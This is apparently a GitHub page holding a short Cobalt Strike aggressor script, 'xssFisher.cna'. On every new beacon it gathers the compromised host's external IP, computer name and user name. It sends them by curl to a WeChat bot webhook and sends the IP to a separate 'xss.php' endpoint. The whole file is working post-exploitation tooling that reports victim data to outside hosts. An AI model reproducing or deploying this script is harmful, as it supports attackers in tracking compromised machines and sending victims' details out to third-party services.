-
Notifications
You must be signed in to change notification settings - Fork 35
/
xssFisher.cna
27 lines (19 loc) · 1016 Bytes
/
xssFisher.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# auth:CoolCat
$webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=yourWeChatBotKey";
on ready {
println("running");
@curl_command = @('curl', '-X', 'POST', '--data-binary', '{"msgtype": "text", "text": {"content": "Script is working..."}}',$webhook);
exec(@curl_command);
}
on beacon_initial {
local('$externalIP $computerName $userName');
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;
@curl_command = @('curl', '-X', 'POST', '--data-binary', '{"msgtype": "text", "text": {"content": "'. $message .'"}}',$webhook);
exec(@curl_command);
$xssApi = "http://www.baidu.com/xss.php?ip=".$externalIP;
@curl_command = @('curl', '-X', 'GET', $xssApi);
exec(@curl_command);
}